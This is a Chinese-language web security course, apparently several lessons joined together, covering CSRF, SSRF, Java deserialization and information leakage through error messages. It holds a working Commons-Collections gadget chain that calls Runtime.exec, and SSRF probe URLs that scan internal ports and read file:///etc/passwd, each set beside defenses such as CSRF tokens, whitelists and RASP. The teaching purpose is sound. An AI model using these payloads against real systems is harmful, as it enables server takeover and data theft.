&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
```
在HTML中`&lt;script&gt;`标签内的JavaScript脚本会在打开网页的时候自动执行。因此一旦用户访问了这个hacker.com的页面它就会自动提交form表单`http://bank.com/transfer`这个接口假设为转账接口发起一个POST请求。
其中to和amount这两个参数代表着用户向黑客的账号转账10000元。只要这个用户之前登录过bank.com并且账户余额大于10000元那么黑客就能够成功地收到这10000元的转账了。在这个网页中`&lt;input&gt;`的标签带有“hidden”属性所以这整个过程对于用户来说都是不可见的。
为了方便你理解,我把这个流程,我画成了一张图,如下所示:
<img src="https://static001.geekbang.org/resource/image/7b/0b/7bd75f65e6fc3e9a8fb0246a8a32dc0b.jpeg" alt="">
## 通过CSRF攻击黑客能做什么
和XSS一样CSRF也可以仿冒用户去进行一些功能操作的请求比如修改密码、转账等等相当于绕过身份认证进行未授权的操作。
值得一提的是尽管黑客通过CSRF能进行的操作没有XSS丰富但CSRF在传播和攻击成本上都低于XSS。这也就是说即使你的网页中没有任何注入漏洞但只要接口配置不当就能够被CSRF利用。而黑客也只需要在自己的域名中搭建一个诱导性的网页就可以让任何访问网页的用户都遭受到CSRF攻击。而且用户每天需要访问大量的网页根本没有办法确认每一个网页的合法性。而从严格意义上来说用户根本没有办法防止CSRF攻击。因此我们只能从应用本身入手去加强防护。
## 如何进行CSRF防护
那究竟该怎么进行CSRF防护呢我们有两种方法。**行业内标准的CSRF防护方法是CSRFToken。** 我们先来看这个方法。
通过前面的学习我们知道CSRF是通过自动提交表单的形式来发起攻击的。所以在前面转账的例子中黑客可以通过[抓包](https://baike.baidu.com/item/%E6%8A%93%E5%8C%85/9929103?fr=aladdin)分析出http://bank.com/transfer这个接口所需要的参数从而构造对应的form表单。因此我们只需要在这个接口中加入一个黑客无法猜到的参数就可以有效防止CSRF了。这就是**CSRF Token**的工作原理。
它的工作流程,我也总结了一下,如下图所示:
<img src="https://static001.geekbang.org/resource/image/d0/04/d0d3a70f4acf7b0fc7bd1c780a909904.jpeg" alt="">
因为CSRF Token是每次用户正常访问页面时服务端随机生成返回给浏览器的。所以每一次正常的转账接口调用都会携带不同的CSRF Token。黑客没有办法进行提前猜测也就没有办法构造出正确的表单了。
**除了CSRF Token之外我们也可以通过二次验证来加强防护。**
回想一下当你进行各类支付操作的时候银行网页通常会要求你输入支付密码。你可能会觉得奇怪明明自己已经登录了为什么还需要输入一个独立的支付密码呢这其实和CSRF Token的原理一样这个独立的支付密码是需要用户输入的只存在于用户的记忆中因此也是黑客无法获取到的参数。
怎么理解呢假如说黑客通过CSRF攻击替你发起了一笔转账。在支付的时候银行会发起一个全新的页面让你验证支付密码。这个时候你发现这个支付请求不是你本人发起的那你肯定不会输入支付密码来完成验证。所以在用户进行支付这样的敏感操作时应用通常会要求用户提供一些私密的信息就是为了对CSRF攻击进行防护。
讲到这里你现在对CSRF的攻击和防护应该有了一个大概的了解。简单来说CSRF其实就是黑客利用浏览器存储用户Cookie这一特性来模拟用户发起一次带有认证信息的请求比如转账、修改密码等。防护CSRF的原理也很简单在这些请求中加入一些黑客无法得到的参数信息即可比如CSRF Token或者独立的支付密码等。掌握了这些内容其实CSRF的知识基本上就差不多了。
## SSRF同样的原理发生在服务端又会发生什么
在CSRF中黑客通过诱导用户访问某个网站让用户的浏览器发起一个伪造的请求。那么如果服务端发起了这个伪造的请求又会发生什么呢
我们知道服务端也有代理请求的功能用户在浏览器中输入一个URL比如某个图片资源然后服务端会向这个URL发起请求通过访问其他的服务端资源来完成正常的页面展示。
这个时候只要黑客在输入中提交一个内网URL就能让服务端发起一个黑客定义的内网请求从而获取到内网数据。这就是**SSRF**Server Side Request Forgery服务端请求伪造的原理。而服务端作为内网设备通常具备很高的权限所以这个伪造的请求往往因为能绕过大部分的认证和授权机制而产生很严重的后果。
比方说当我们在百度中搜索图片时会涉及图片的跨域加载保护百度不会直接在页面中加载图片的源地址而是将地址通过GET参数提交到百度服务器然后百度服务器请求到对应的图片再返回到页面展示出来。
<img src="https://static001.geekbang.org/resource/image/3f/8c/3f38ba6be9035e799ac9c3b2666c0c8c.png" alt="">
这个过程中百度服务器实际上会向另外一个URL地址发起请求比如上图中的`http://s1.sinaimg.cn`。利用这个代理发起请求的功能黑客可以通过提交一个内网的地址实现对内网任意服务的访问。这就是SSRF攻击的实现过程也就是我们常说的“内网穿透”。
<img src="https://static001.geekbang.org/resource/image/a3/48/a357b988133b1fcb7aaf51e6937a1448.jpeg" alt="">
## 通过SSRF攻击黑客能做什么
了解了SSRF攻击的过程之后我们知道在服务端不做任何保护措施的情况下黑客可以利用SSRF向内网发起任意的HTTP请求。那么这些请求会产生什么样的后果呢我总结了一下主要会有这样两种动作内网探测和文件读取。
### 1.内网探测
我们先来看内网探测。内外网一般是隔离的。所以黑客在外网环境中是无法知道内网有哪些服务器这些服务器又分别提供了哪些服务。但是通过一个加载图片的SSRF漏洞黑客就能够对内网进行探测。这是怎么做到的呢别着急我们慢慢来看。
在前面百度搜图的例子中,我们请求的地址是:[https://image.baidu.com/search/detail?objurl=http://s1.sinaimg.cn/picture](https://image.baidu.com/search/detail?objurl=http://s1.sinaimg.cn/picture)[.jpg](https://image.baidu.com/search/detail?objurl=http://s1.sinaimg.cn/picture.jpg%E7%9A%84%E6%97%B6%E5%80%99%EF%BC%8C)。因为[http://s1.sinaimg.cn/picture](https://image.baidu.com/search/detail?objurl=http://s1.sinaimg.cn/picture)[.jpg](https://image.baidu.com/search/detail?objurl=http://s1.sinaimg.cn/picture.jpg%E7%9A%84%E6%97%B6%E5%80%99%EF%BC%8C)会正常返回一个图片,所以网页会展示出来对应的图片。
我们假定这样一个服务端逻辑在这个请求过程中服务端会判断objurl返回数据的Content Type是否为image/jpeg。那么可能的返回结果就有三种
- “是”,则展示图片;
- “不是”,则返回“格式错误”;
- 无响应,则返回“找不到图片”。
基于这三种返回逻辑,黑客可以构造一个恶意的请求地址:[https://image.baidu.com/search/detail?objurl=127.0.0.1:3306](https://image.baidu.com/search/detail?objurl=127.0.0.1:3306%EF%BC%8C)。如果服务器返回“格式错误”则代表服务端本地的3306端口可用如果返回“找不到图片”则代表不可用。我们知道3306是MySQL对应的端口号因此根据这个返回的信息黑客就能够知道服务端本地是否开启了一个MySQL服务。接下来黑客只需要不断重复这个过程尝试不同的IP和端口号就能够一点一点探测出整个内网的结构。
### 2.文件读取
接下来我们说一下文件读取。服务器除了对图片的代理不做合法性判断之外对很多其他的代理也不做判断而是直接将代理的结果返回到前端。我们称这种情况为“有回显的SSRF”。在这种情况下黑客不仅能够知道请求是否成功了还能够知道具体返回的内容。这时候你肯定会好奇黑客究竟是怎么做到呢
在URI中开头的http://和https://代表需要使用什么协议去进行请求。除了HTTP之外URI还有很多种协议可以选择比如file://就是直接读取本地的文件。通过输入file:///etc/passwd黑客就能够通过一个请求获取到本地的passwd文件从而知道本地有哪些用户。经过不断地尝试黑客就能够把整个服务器中的文件内容都给拉取出来这其中包括密钥、源码等极度敏感的信息。
我曾经就遇到过一个黑客。他通过SSRF攻击拿到了服务端的源码然后通过对源码的分析找到了一个SQL注入的漏洞再利用SSRF发起对内网的SQL注入攻击从而拿到了内网的命令执行权限。
## 如何进行SSRF防护
因为SSRF漏洞起源于业务的正常功能需求比如百度图片的图片请求等等。因此我们很难真正消除它。尽管如此我还是会为你介绍几种常见的防护手段来尽可能地提高应用的安全性。这些常见的手段主要包括白名单限制、协议限制和请求端限制。接下来我们一一来看。
**白名单的限制永远是最简单、最高效的防护措施。** SSRF中的白名单就是对用户提交上来的目标URL进行限制。比如只允许是同一个域名下的URL。你可以理解为让百度图片的代理服务只允许代理baidu.com的URL。但是很多时候因为业务功能的设计白名单的限制并不可行。比如上述百度图片的例子这个功能的设计思路就是baidu.com这个域名下能够请求各类域名下的图片资源比如上述例子中的sinaimg.cn
在这种时候,**我们可以对协议和资源类型等进行限制**。比如对于使用协议我们只允许HTTP或者HTTPS协议对于返回的内容我们只允许图片格式的内容。通过这些限制虽然不能完全阻止黑客发起SSRF攻击但也大大降低了黑客能够造成的危害。
除此之外因为SSRF最终的结果是接受代理请求的服务端发生数据泄露。所以SSRF防护不仅仅涉及接收URL的服务端检测也需要接受代理请求的服务端进行配合。在这种情况下我们就需要用到**请求端限制**,它的防护措施主要包括两个方面。
第一为其他业务提供的服务接口尽量使用POST避免GET的使用。因为在SSRF中以及大部分的Web攻击中发起一个POST请求的难度是远远大于GET请求的。因为默认的请求方式是GET而发起POST请求需要在发起HTTP请求的时候进行配置。很多安全漏洞中不包含能够配置协议的地方。在上述百度图片的例子中黑客显然就只能发起GET请求。如果某个敏感服务是POST的黑客就无法请求到相关资源了。
第二为其他业务提供的服务接口最好每次都进行验证。通过SSRF黑客只能发起请求并不能获取到服务端存储的验证信息如认证的key和secret等。因此只要接受代理请求的端对每次请求都进行完整的验证黑客无法成功通过验证也就无法完成请求了。
## 总结
好了,今天的内容差不多了,让我们来回顾一下,你要掌握的重点内容。
今天我们介绍了CSRF和SSRF这两种攻击方式。其中CSRF是黑客控制用户的浏览器发起伪造的请求SSRF则是黑客控制服务端发起伪造的请求。通过伪造的请求黑客可以伪造用户或者服务器的身份越权获取数据或者发起请求。应用中的请求接口越敏感黑客能够造成的伤害就越大。
除此之外CSRF和SSRF产生于正常的业务功能逻辑中因此我们没有办法从根本上阻止黑客发起伪造的请求。但是你可以通过加强接口的安全验证来避免伪造请求造成影响。在CSRF中我们可以通过CSRF Token或者二次验证等操作来加强防护。这样黑客无法获取到隐私信息也就无法发起连续的请求了。在SSRF中我们则需要限制可请求的域名来限制黑客能够访问到的资源。另外目标服务端也需要加强接口的验证来避免伪造请求成功通过授权。
今天的内容比较多,为了方便你记忆,我总结了一个知识脑图,你可以通过它来对今天的重点内容进行复习巩固。
<img src="https://static001.geekbang.org/resource/image/b0/29/b0b508ed5b1903d716188fe101bd4129.jpg" alt="">
## 思考题
接下来,让我们来看一道思考题。
通过今天的讲解你可以回忆一下你的企业是否遇到过CSRF/SSRF攻击呢如果遇到过当时是如何处理的呢如果没有遇到过那你负责的Web或者应用中是否实现了CSRF/SSRF的保护逻辑呢具体又是怎么实现的呢
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!

View File

@@ -0,0 +1,202 @@
<audio id="audio" title="09 | 反序列化漏洞:使用了编译型语言,为什么还是会被注入?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/80/44/80d96449a3c46c66c99b32d6a34bb344.mp3"></audio>
你好,我是何为舟。
我们都知道Java是一种高层级的语言。在Java中你不需要直接操控内存大部分的服务和组件都已经有了成熟的封装。除此之外Java是一种先编译再执行的语言无法像JavaScript那样随时插入一段代码。因此很多人会认为Java是一个安全的语言。如果使用Java开发服务我们只需要考虑逻辑层的安全问题即可。但是Java真的这么安全吗
2015年Java曾被曝出一个严重的漏洞很多经典的商业框架都因此受到影响其中最知名的是[WebLogic](https://baike.baidu.com/item/weblogic/451978?fr=aladdin)。据统计在网络中公开的WebLogic服务有3万多个。其中中国就有1万多个外网可访问的WebLogic服务。因此WebLogic的反序列化漏洞意味着国内有1万多台服务器可能会被黑客攻陷其影响的用户数量更是不可估量的。
你可能要说了我实际工作中并没有遇到过反序列化漏洞啊。但是你一定使用过一些序列化和反序列化的工具比如Fastjson和Jackson等。如果你关注这些工具的版本更新就会发现这些版本更新中包含很多修复反序列化漏洞的改动。而了解反序列化漏洞可以让你理解Java作为一种先打包后执行的语言是如何被插入额外逻辑的也能够让你对Java这门语言的安全性有一个更全面的认知。
那么到底什么是反序列化漏洞呢它究竟会对Java的安全带来哪些冲击呢遇到这些冲击我们该怎么办呢今天我就带你来了解反序列化漏洞然后一起学习如何防护这样的攻击
## 反序列化漏洞是如何产生的?
如果你是研发人员,工作中一定会涉及很多的序列化和反序列化操作。应用在输出某个数据的时候,将对象转化成字符串或者字节流,这就是序列化操作。那什么是反序列化呢?没错,我们把这个过程反过来,就是反序列化操作,也就是应用将字符串或者字节流变成对象。
序列化和反序列化有很多种实现方式。比如Java中的Serializable接口或者Python中的pickle可以把应用中的对象转化为二进制的字节流把字节流再还原为对象还有XML和JSON这些跨平台的协议可以把对象转化为带格式的文本把文本再还原为对象。
那反序列化漏洞到底是怎么产生的呢?问题就出在把数据转化成对象的过程中。在这个过程中,应用需要根据数据的内容,去调用特定的方法。而黑客正是利用这个逻辑,在数据中嵌入自定义的代码(比如执行某个系统命令)。应用对数据进行反序列化的时候,会执行这段代码,从而使得黑客能够控制整个应用及服务器。这就是反序列化漏洞攻击的过程。
事实上基本上所有语言都会涉及反序列化漏洞。其中Java因为使用范围比较广本身体积也比较庞大 所以被曝出的反序列化漏洞最多。下面我就以Java中一个经典的反序列化漏洞demo [ysoserial](https://github.com/frohoff/ysoserial) 为基础,来介绍一个经典的反序列化漏洞案例,给你讲明白反序列化漏洞具体的产生过程。了解漏洞是怎么产生的,对于你后面理解防护措施也会非常有帮助,所以这里你一定要认真看。
不过,这里也先提醒你一下,这块原理的内容相对比较复杂。我会尽量给你讲解清楚,讲完之后,我也会带着你对这部分内容进行总结、复习。重复记忆可以加深理解,这块内容建议你可以多看几遍。好了,下面我们就来看这个案例!
最终的演示demo的代码如下所示。在macOS环境下运行这段代码你就能够打开一个计算器。在Windows环境下将系统命令open -a calculator修改成calc即可。注意这里需要依赖3.2.1以下的commons-collections最新的版本已经对这个漏洞进行了修复所以无法重现这个攻击的过程。
```
public class Deserialize {
public static void main(String... args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchMethodException {
Object evilObject = getEvilObject();
byte[] serializedObject = serializeToByteArray(evilObject);
deserializeFromByteArray(serializedObject);
}
public static Object getEvilObject() throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
String[] command = {&quot;open -a calculator&quot;};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(&quot;getMethod&quot;,
new Class[]{String.class, Class[].class},
new Object[]{&quot;getRuntime&quot;, new Class[0]}
),
new InvokerTransformer(&quot;invoke&quot;,
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(&quot;exec&quot;,
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap&lt;&gt;();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
String classToSerialize = &quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;;
final Constructor&lt;?&gt; constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Proxy evilProxy = (Proxy) Proxy.newProxyInstance(Deserialize.class.getClassLoader(), new Class[]{Map.class}, secondInvocationHandler);
InvocationHandler invocationHandlerToSerialize = (InvocationHandler) constructor.newInstance(Override.class, evilProxy);
return invocationHandlerToSerialize;
/*Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(&quot;getMethod&quot;, new Class[] {
String.class, Class[].class }, new Object[] {
&quot;getRuntime&quot;, new Class[0] }),
new InvokerTransformer(&quot;invoke&quot;, new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(&quot;exec&quot;, new Class[] {
String.class }, new Object[] {&quot;open -a calculator&quot;})};
Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap&lt;String, Object&gt;();
innerMap.put(&quot;key&quot;, &quot;value&quot;);
Map&lt;String, Object&gt; outerMap = TransformedMap.decorate(innerMap, null, chain);
Class cl = Class.forName(&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;);
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
return instance;*/
}
public static void deserializeAndDoNothing(byte[] byteArray) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArray));
ois.readObject();
}
public static byte[] serializeToByteArray(Object object) throws IOException {
ByteArrayOutputStream serializedObjectOutputContainer = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(serializedObjectOutputContainer);
objectOutputStream.writeObject(object);
return serializedObjectOutputContainer.toByteArray();
}
public static Object deserializeFromByteArray(byte[] serializedObject) throws IOException, ClassNotFoundException {
ByteArrayInputStream serializedObjectInputContainer = new ByteArrayInputStream(serializedObject);
ObjectInputStream objectInputStream = new ObjectInputStream(serializedObjectInputContainer);
InvocationHandler evilInvocationHandler = (InvocationHandler) objectInputStream.readObject();
return evilInvocationHandler;
}
}
```
下面我们来分析一下这段代码的逻辑。
在Java通过`ObjectInputStream.readObject()`进行反序列化操作的时候ObjectInputStream会根据序列化数据寻找对应的实现类在payload中是`sun.reflect.annotation.AnnotationInvocationHandler`。如果实现类存在Java就会调用其readObject方法。因此`AnnotationInvocationHandler.readObject`方法在反序列化过程中会被调用。
`AnnotationInvocationHandler在readObject`的过程中会调用`streamVals.entrySet()`。其中,`streamVals``AnnotationInvocationHandler`构造函数中的第二个参数。这个参数可以在数据中进行指定。而黑客定义的是Proxy类也就是说黑客会让这个参数的实际值等于Proxy。
<img src="https://static001.geekbang.org/resource/image/29/d7/294747330236323f2539ce1656eb9ed7.jpg" alt="">
Proxy是动态代理它会基于Java反射机制去动态实现代理类的功能。在Java中调用一个Proxy类的entrySet()方法,实际上就是在调用`InvocationHandler中的invoke`方法。在invoke方法中Java又会调用`memberValues.get(member)`。其中,`memberValues``AnnotationInvocationHandler`构造函数中的第二个参数。
同样地,`memberValues`这个参数也能够在数据中进行指定而这次黑客定义的就是LazyMap类。member是方法名也就是entrySet。因此我们最终会调用到`LazyMap.get("entrySet")`这个逻辑。
<img src="https://static001.geekbang.org/resource/image/f8/fe/f8390216be34758ef0ee27946369c9fe.jpg" alt="">
当LazyMap需要get某个参数的时候如果之前没有获取过则会调用`ChainedTransformer.transform`进行构造。
<img src="https://static001.geekbang.org/resource/image/d6/57/d6540c248b8dfc16ae66767a1382da57.jpg" alt="">
`ChainedTransformer.transform`会将我们构造的几个InvokerTransformer顺次执行。而在`InvokerTransformer.transform`它会通过反射的方法顺次执行我们定义好的Java语句最终调用`Runtime.getRuntime().exec("open -a calculator")`实现命令执行的功能。
<img src="https://static001.geekbang.org/resource/image/6b/ae/6ba2e4e30bf7a0e6b8973a22f2deefae.jpg" alt="">
好了讲了这么多不知道你理解了多少这个过程的确比较烧脑。我带你再来总结一下简单来说其实就是以下4步
1. 黑客构造一个恶意的**调用链**专业术语为POPProperty Oriented Programming并将其序列化成数据然后发送给应用
1. 应用接收数据。大部分应用都有接收外部输入的地方比如各种HTTP接口。而这个输入的数据就有可能是序列化数据
1. 应用进行反序列操作。收到数据后,应用尝试将数据构造成对象;
1. 应用在反序列化过程中,会调用黑客构造的调用链,使得应用会执行黑客的任意命令。
那么,在这个反序列化的过程中,应用为什么会执行黑客构造的调用链呢?这是因为,**反序列化的过程其实就是一个数据到对象的过程**。在这个过程中应用必须根据数据源去调用一些默认方法比如构造函数和Getter/Setter
除了这些方法反序列化的过程中还会涉及一些接口类或者基类简单的如Map、List和Object。应用也必须根据数据源去判断选择哪一个具体的接口实现类。也就是说黑客可以控制反序列化过程中应用要调用的接口实现类的默认方法。通过对不同接口类的默认方法进行组合黑客就可以控制反序列化的调用过程实现执行任意命令的功能。
## 通过反序列化漏洞,黑客能做什么?
学习了前面的例子,我们已经知道,通过反序列化漏洞,黑客可以调用到`Runtime.exec()`来进行命令执行。换一句话说,黑客已经能够在服务器上执行任意的命令,这就相当于间接掌控了你的服务器,能够干任何他想干的事情了。
即使你对服务器进行了一定的安全防护控制了黑客掌控服务器所产生的影响黑客还是能够利用反序列化漏洞来发起拒绝服务攻击。比如曾经有人就提出过这样的方式通过HashSet的相互引用构造出一个100层的HashSet其中包含200个HashSet的实例和100个String结构如下图所示。
<img src="https://static001.geekbang.org/resource/image/db/03/dbc68b00d365fba99361a49128a69703.jpg" alt="">
对于多层嵌套的对象Java在反序列化过程中需要调用的方法呈指数增加。因此尽管这个序列化的数组大概只有6KB但是面对这种100层的数据Java所需要执行的方法数是近乎无穷的n的100次方。也就是说黑客可以通过构建一个体积很小的数据增加应用在反序列化过程中需要调用的方法数以此来耗尽CPU资源达到影响服务器可用性的目的。
## 如何进行反序列化漏洞防护
现在你应该对序列化和反序列化的操作产生了一些警惕。那你可能要问了既然反序列化漏洞危害这么大我们能不能直接剔除它们呢显然是不可能的尤其是JSON作为目前最热门的跨平台数据交换格式之一其易用性是显而易见的你不可能因为这些还没发生的危害就剔除它们。因此我们要采取一些有效的手段在把反序列化操作的优势发挥出来的同时去避免反序列化漏洞的出现。我们来看3种具体的防护方法认证、限制类和RASP检测。
### 1.认证和签名
首先,最简单的,我们可以通过认证,来避免应用接受黑客的异常输入。要知道,很多序列化和反序列化的服务并不是提供给用户的,而是提供给服务自身的。比如,存储一个对象到硬盘、发送一个对象到另外一个服务中去。对于这些点对点的服务,我们可以通过加入签名的方式来进行防护。比如,对存储的数据进行签名,以此对调用来源进行身份校验。只要黑客获取不到密钥信息,它就无法向进行反序列化的服务接口发送数据,也就无从发起反序列化攻击了。
### 2.限制序列化和反序列化的类
事实上,认证只是隐藏了反序列化漏洞,并没有真正修复它。那么,我们该如何从根本上去修复或者避免反序列化漏洞呢?
在反序列化漏洞中黑客需要构建调用链而调用链是基于类的默认方法来构造的。然而大部分类的默认方法逻辑很少无法串联成完整调用链。因此在调用链中通常会涉及非常规的类比如刚才那个demo中的InvokerTransformer。我相信99.99%的人都不会去序列化这个类。因此,我们可以通过构建黑名单的方式,来检测反序列化过程中调用链的异常。
在Fastjson的配置文件中就维护了一个黑名单的[列表](https://github.com/alibaba/fastjson/blob/d52085ef54b32dfd963186e583cbcdfff5d101b5/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java)其中包括了很多可能执行代码的方法类。这些类都是平常会使用但不会序列化的一些工具类因此我们可以将它们纳入到黑名单中不允许应用反序列化这些类在最新的版本中已经更改为hashcode的形式
我们在日常使用Fastjson或者其他JSON转化工具的过程中需要注意避免序列化和反序列化接口类。这就相当于白名单的过滤只允许某些类可以被反序列化。我认为只要你在反序列化的过程中避免了所有的接口类包括类成员中的接口、泛型等黑客其实就没有办法控制应用反序列化过程中所使用的类也就没有办法构造出调用链自然也就无法利用反序列化漏洞了。
### 3.RASP检测
通常来说我们可以依靠第三方插件中自带的黑名单来提高安全性。但是如果我们使用的是Java自带的序列化和反序列化功能比如`ObjectInputStream.resolveClass`),那我们该怎么防护反序列化漏洞呢?如果我们想要替这些方法实现黑名单的检测,就会涉及原生代码的修改,这显然是一件比较困难的事。
为此业内推出了RASPRuntime Application Self-Protection实时程序自我保护。RASP通过hook等方式在这些关键函数的调用中增加一道规则的检测。这个规则会判断应用是否执行了非应用本身的逻辑能够在不修改代码的情况下对反序列化漏洞攻击实现拦截。关于RASP之后的课程中我们会专门进行讲解这里暂时不深入了。简单来说通过RASP我们就能够检测到应用中的非正常代码执行操作。
**我个人认为,[RASP](https://www.freebuf.com/articles/web/197823.html)是最好的检测反序列化攻击的方式。** 我为什么会这么说呢这是因为如果使用认证和限制类这样的方式来检测就需要一个一个去覆盖可能出现的漏洞点非常耗费时间和精力。而RASP则不同它通过hook的方式直接将整个应用都监控了起来。因此能够做到覆盖面更广、代码改动更少。
但是因为RASP会hook应用相当于是介入到了应用的正常流程中。而RASP的检测规则都不高效因此它会给应用带来一定的性能损耗不适合在高并发的场景中使用。但是在应用不受严格性能约束的情况下我还是更推荐使用RASP。这样开发就不用一个一个去对漏洞点进行手动修补了。
## 总结
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
我们首先讲了反序列化漏洞的产生原理,即黑客通过构造恶意的序列化数据,从而控制应用在反序列化过程中需要调用的类方法,最终实现任意方法调用。如果在这些方法中有命令执行的方法,黑客就可以在服务器上执行任意的命令。
对于反序列化漏洞的防御我们主要考虑两个方面认证和检测。对于面向内部的接口和服务我们可以采取认证的方式杜绝它们被黑客利用的可能。另外我们也需要对反序列化数据中的调用链进行黑白名单检测。成熟的第三方序列化插件都已经包含了这个功能暂时可以不需要考虑。最后如果没有过多的性能考量我们可以通过RASP的方式来进行一个更全面的检测和防护。
最后,为了方便你记忆,我把今天的内容总结成一张知识脑图,你可以通过它对今天的重点内容进行复习巩固。
<img src="https://static001.geekbang.org/resource/image/b7/37/b79f722212c5a2582d9f5fbf15081337.jpg" alt="">
## 思考题
最后,给你留一个思考题。
你可以去了解一下你所使用的序列化和反序列化插件比如Fastjson、Gson和Jackson等是否被曝出过反序列化漏洞然后结合今天的内容思考一下这些反序列化漏洞可能会给你带来什么影响。
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!

View File

@@ -0,0 +1,117 @@
<audio id="audio" title="10 | 信息泄露:为什么黑客会知道你的代码逻辑?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/06/ec/061d047486a988d2e4a98421baa5cdec.mp3"></audio>
你好,我是何为舟。
你平时在Debug的时候一定首先会去查看错误信息。根据错误信息你能够了解究竟是什么情况引发了什么样的错误。同样地黑客也能够通过错误信息推断出你的后台代码逻辑。那么黑客究竟是怎么做的呢接下来我们就一起看一下这个过程。
## 为什么错误信息会泄露代码逻辑?
当黑客在登录某个页面时在用户名位置输入一个单引号在密码位置输入一个“g”之后就会出现如下的错误信息。
```
An Error Has Occurred.
Error Message:
System.Data.OleDb.OleDbException: Syntax error (missing operator) in query expression 'username = ''' and password = 'g''. at
System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling ( Int32 hr) at
System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult ( tagDBPARAMS dbParams, Object&amp; executeResult) at
```
从这个错误信息中我们可以看到网页最终执行了一个SQL语句这个SQL语句的部分内容为`username = ''' and password = 'g'`。因此,后台的大致逻辑应该是下面这样的。
第一错误信息反馈的是Syntax error即语法错误。在密码位置输入单个字母“g”肯定不会引起错误所以这个SQL语句是因为多了一个单引号导致的报错。而如果使用了PreparedStatement等方法是不会产生这个错误的。因此后台的SQL查询应该是直接采用的字符串拼接且没有过滤单引号。
第二错误信息中显示了部分的WHERE条件是`username = '' and password = ''`。这又是一个登录的逻辑所以只要用户名和密码正确这个SQL语句会返回黑客需要的用户信息。因此后台的SQL语句应该是形如select from where的格式。
根据这些信息黑客很容易就可以发起SQL注入攻击了。
那错误信息中包含的敏感信息这么多怎么避免被直接展示到前端呢我们可以通过正确地配置文件来进行合适的错误处理。比如在PHP中我们可以进行如下配置
```
error_reporting = E_ALL ;向PHP报告发生的每个错误
display_errors = Off ;不显示满足上条指令所定义规则的所有错误报告
log_errors = On ;决定日志语句记录的位置
log_errors_max_len = 1024 ;设置每个日志项的最大长度
error_log = /var/log/php_error.log ;指定产生的错误报告写入的日志文件位置
```
在Java Spring中我们也可以通过配置[ExceptionHandler](https://www.baeldung.com/exception-handling-for-rest-with-spring)等来进行处理。
避免错误信息泄露代码逻辑,一方面是要通过正确地配置文件,避免错误信息被展示到前端;另一方面是要对错误信息进行检测,这里就需要用到“黑盒”检测了。
所谓“黑盒Black Box Testing功能测试就是在不获取代码的情况下直接运行应用然后对应用的请求和响应进行扫描。比如在错误信息泄露的场景中“黑盒”检测可以向应用发起一些必然会导致错误的请求比如上述例子中的单引号然后观察应用是返回完整的错误日志还是返回某些经过处理的页面。
好了,现在你应该明白了,为啥错误信息会泄露代码逻辑。实际上,错误信息泄露属于一种间接的信息泄露方式。间接的信息泄露方式主要是通过拼凑各种零散信息,还原出代码整体的面貌,然后有针对性地发起攻击。所以我们常说,黑客的攻击本身就是一个“聚沙成塔”的过程。
## 除了错误信息,还有什么地方会泄露代码逻辑?
除了错误信息之外,间接的信息泄露方式还有两种:返回信息泄露和注释信息泄露。
注释信息你应该很熟悉。因为所有的前端代码基本都不需要编译就可以展示在浏览器中所以黑客很容易就可以看到前端代码中的注释信息。但是如果这些注释信息中出现服务器IP、数据库地址和认证密码这样的关键信息。一旦这些关键信息被泄露将会造成十分严重的后果。
那该如何避免关键的注释信息出现在线上的代码中呢?我们经常会使用一种叫作“白盒”的代码检测方法。
所谓“白盒White Box Testing结构测试即直接获取到线上的源代码然后对它进行扫描。“白盒”扫描注释信息的原理比较简单因为每一种语言的注释都会带有特殊的标记比如Java和PHP中的/*等),可以比较准确地被识别出来。除此之外,“白盒”检测通常还会被用来做一些检测代码漏洞或者逻辑漏洞的工作,这一块比较复杂,现在你只需要有一个大概印象即可,我们会在后续的课程中专门来讲。
简单了解了注释信息泄露,我们下面重点来看返回信息泄露。
你可以回忆一下,在前面讲[SSRF](https://time.geekbang.org/column/article/182074)攻击的时候我们模拟过这样一个场景服务端在请求一个图片地址的时候会根据地址的“存活”情况和返回数据的类型分别返回三种结果“图片不存在”“格式错误”以及图片正常显示。而黑客正是通过服务端返回信息的逻辑利用一个请求图片的SSRF摸清整个后端服务的“存活情况”。
类似的多种返回状态的场景还有很多,你可以想想自己平时工作中有没有遇到过。这里我再说一个常见的。当你在登录应用的时候,应用的返回逻辑可能是这样的:如果输入的用户名和密码正确,则登录成功;如果应用没有这个用户,则返回“用户名不存在”;如果输入的用户名和密码不匹配,则返回“密码错误”。
尽管这样清晰的登录提示对于用户体验来说,确实是一个较优解,但这个逻辑同样也暴露了过多的信息给黑客。黑客只需要不断地发起登录请求,就能够知道应用中存在的用户名,然后通过遍历常见的弱密码进行尝试,很容易就能够猜对密码。这样一来,猜对密码的成功率就比尝试同时猜测用户名和密码要高很多。
